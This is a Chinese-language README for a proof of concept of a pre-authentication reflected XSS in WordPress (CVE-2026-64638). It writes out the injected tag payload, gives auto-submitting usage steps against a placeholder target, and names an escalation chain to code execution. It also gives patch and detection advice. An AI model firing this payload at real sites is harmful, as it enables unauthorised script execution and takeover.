XSS2Shell Alert PoC（CVE-2026-64638）

WordPress 预认证反射型 XSS 概念验证

针对 WordPress 核心中 CVE-2026-64638（XSS2Shell）解析器差异型 XSS 的单文件 HTML 概念验证。演示通过精心构造的登录请求在 WordPress 源中执行未认证的 JavaScript。

漏洞信息

• CVE：CVE-2026-64638（XSS2Shell）
• 类型：预认证反射型 XSS（解析器差异：strip_tags() 与 wp_kses_post()）
• 攻击升级：可链接至 RCE（DOM clobbering → REST JSONP → SOME → 应用程序密码 → 插件上传）
• 受影响版本：WordPress 6.4 – 7.0.2（实际可利用范围）
• 修复版本：WordPress 7.0.3（已向后移植至 4.7 及以上的所有维护分支）

使用方法

1. 在文本编辑器中打开 POC.html。
2. 将表单 action 中的 http://TARGET/wp-login.php 替换为你的目标地址。

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. 在浏览器中打开该文件。表单会自动提交；如果目标存在漏洞，将在 WordPress 源中触发 confirm()（或 alert()）弹窗。

PoC 载荷

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

每个 < 后面的空格正是漏洞利用所在。如果没有该空格，wp_strip_all_tags() 会删除所有内容。

环境要求

• 存在漏洞的 WordPress 安装（6.4 – 7.0.2，未打补丁）
• 启用了 JavaScript 的浏览器
• 无工具依赖（纯 HTML）

检测 / 缓解措施

• 升级至 WordPress 7.0.3 或已修补的分支。
• 打补丁后撤销/轮换所有现有的应用程序密码。
• 在 WAF/边缘阻断 log 字段中的 %3C + 空白字符模式。
• 监控 log 包含编码后 < 的 POST /wp-login.php 请求。

参考链接

• pwn.ai — XSS2Shell：WordPress 预认证 XSS 到 RCE 利用链
• WordPress 7.0.3 发布
• Hadrian — CVE-2026-64638 分析
• IONSEC — XSS2Shell 技术分析